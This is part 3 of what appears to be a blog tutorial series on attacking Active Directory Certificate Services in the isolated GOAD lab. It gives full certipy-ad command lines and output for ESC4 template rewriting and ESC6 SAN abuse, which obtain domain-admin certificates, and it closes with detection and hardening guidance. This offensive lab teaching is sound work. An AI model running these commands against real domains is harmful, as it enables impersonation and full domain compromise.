Series · 4 partsActive Directory Certificate ServicesPart 3 · You are here
- 1AD CS Part 1: Architecture, Template Semantics, and the ESC Taxonomy
- 2AD CS Part 2: ESC1 Exploitation: RPC Targeting, PKINIT Authentication, and Forest Compromise
- 3AD CS Part 3: ESC4 and ESC6 — Creating the Vulnerability YourselfYou are here
- 4AD CS Part 4: The Rest of the Catalog and How to Lock It Down
The difference between finding and making
Part 2 exploited ESC1 — a template that was already misconfigured to let enrollees supply their own subject. That is the clean win, but it only works when someone left that exact template behind. This part is about the two ways you stop depending on luck and make the vulnerable condition yourself:
- ESC4 — you hold
GenericAll(orWriteProperty) over a template object, so you rewrite it into an ESC1: add Client Authentication, turn onEnrolleeSuppliesSubject, and give yourself enrollment. - ESC6 — the CA itself has the
User Specified SANflag set, so any Client Authentication template honors an arbitrary-upn, even a template that is otherwise locked down.
Both turn “the template is not vulnerable” into “give me daenerys.targaryen’s certificate.”
ESC4: rewrite the template
khal.drogo holds GenericAll over the ESC4 template in essos.local — one of the ACL edges we already walked in GOAD Part 4. certipy reads the template’s current shape and shows what is wrong with it: the only EKU is Code Signing, and the enrollee cannot supply the subject. GenericAll means we can fix both:
$ certipy-ad template -u [email protected] -hashes 739120ebc4dd940310bc4bb5c9d37021 \
-dc-ip 192.168.56.12 -template ESC4 -save-configuration esc4.bak.json
[*] Saving current configuration to 'esc4.bak.json'
The backup matters — a professional engagement reverts what it changed. Then -write-default-configuration applies certipy’s built-in “make it an ESC1” preset:
$ certipy-ad template -u [email protected] -hashes 739120ebc4dd940310bc4bb5c9d37021 \
-dc-ip 192.168.56.12 -template ESC4 -write-default-configuration -no-save -force
[*] Updating certificate template 'ESC4'
[*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2'] # Client Authentication
[*] msPKI-Certificate-Name-Flag: 1 # EnrolleeSuppliesSubject
[*] Successfully updated 'ESC4'
Two attributes changed, and the whole attack surface of the template changed with them. It now has Client Authentication and lets the enrollee choose the subject — the exact two ingredients of ESC1. The ESC4 template was Code Signing a minute ago; now it is a Domain-Admin-certificate printer:
$ certipy-ad req -u [email protected] -hashes 739120ebc4dd940310bc4bb5c9d37021 \
-ca ESSOS-CA -template ESC4 -upn [email protected] -target braavos.essos.local -dc-ip 192.168.56.12
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
From here the rest is Part 2’s ending: certipy auth -pfx for the TGT, then DCSync. ESC4’s lesson is that a template is not a fixed fact of the environment — it is an object with an ACL, and GenericAll over it is a green light to change its meaning.
ESC6: the CA-wide override
ESC4 edits a template. ESC6 does not need to edit anything, because the CA itself is misconfigured. certipy find reported it in one line:
User Specified SAN: Enabled # ESC6 / EDITF_ATTRIBUTESUBJECTALTNAME2
That flag means the CA honors an arbitrary Subject Alternative Name on any request, regardless of what the template’s own name-flag says. The cleanest way to prove it is to use a template that is not ESC1 — ESC9, which has Client Authentication but does not let the enrollee supply the subject:
$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC9 \
-upn [email protected] -target braavos.essos.local -dc-ip 192.168.56.12
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
A template that should have refused the spoofed UPN accepted it, because the CA-level flag overrode the template. That is the whole danger of ESC6: you cannot harden template-by-template and call it done — one flag on the CA silently re-opens every Client Authentication template in the forest.
Detection and the fix
Detection: ESC4 is the loud one — the template edit is a 5136 on the pKICertificateTemplate object changing pKIExtendedKeyUsage and msPKI-Certificate-Name-Flag, and a template whose EKU silently flips from Code Signing to Client Authentication is a red flag. ESC6 leaves no edit to see; the tell is a certificate issued with a SAN whose UPN does not match the requester.
Control: Both share one root cause: who can change the PKI. Remove GenericAll/WriteProperty from template objects so ESC4 has nothing to stand on, and clear EDITF_ATTRIBUTESUBJECTALTNAME2 (User Specified SAN) on every CA so ESC6 has no override. Audit 5136 on CN=Certificate Templates and the CA’s flags as part of Tier-0 hygiene, not as an afterthought.
Summary
| Property | ESC4 | ESC6 |
|---|---|---|
| Prerequisite | GenericAll/WriteProperty on a template | CA User Specified SAN flag |
| Action | rewrite template → ESC1 | request any Client Auth template with -upn |
| Visibility | 5136 on the template | issued cert with mismatched SAN |
| Fix | remove template write ACEs | clear EDITF_ATTRIBUTESUBJECTALTNAME2 |
Up next in Part 4
Part 4 closes the series with the rest of the catalog — ESC2 (any-purpose EKU), ESC3 (enrollment agent), ESC8 (web-enrollment relay), and the identity-mapping family ESC9/ESC11/ESC15/ESC17 — plus the hardening summary that ties all of it together.
Evidence and limits
Both ESC4 (template overwrite and restoration on ESC4) and ESC6 (CA-level EDITF_ATTRIBUTESUBJECTALTNAME2 abuse) were verified against ESSOS-CA (192.168.56.23) and MEEREEN (192.168.56.12) in the isolated GOAD lab. The modified ESC4 template was restored from its saved .json configuration immediately after enrollment.
References
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- The Hacker Recipes, AD CS: thehacker.recipes/ad/movement/adcs
- SpecterOps, Certified Pre-Owned: posts.specterops.io
- MITRE ATT&CK, Steal or Forge Authentication Certificates (T1649): attack.mitre.org/techniques/T1649
How current is this note?
The latest source-review, content-update, or publication date is shown.
Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.

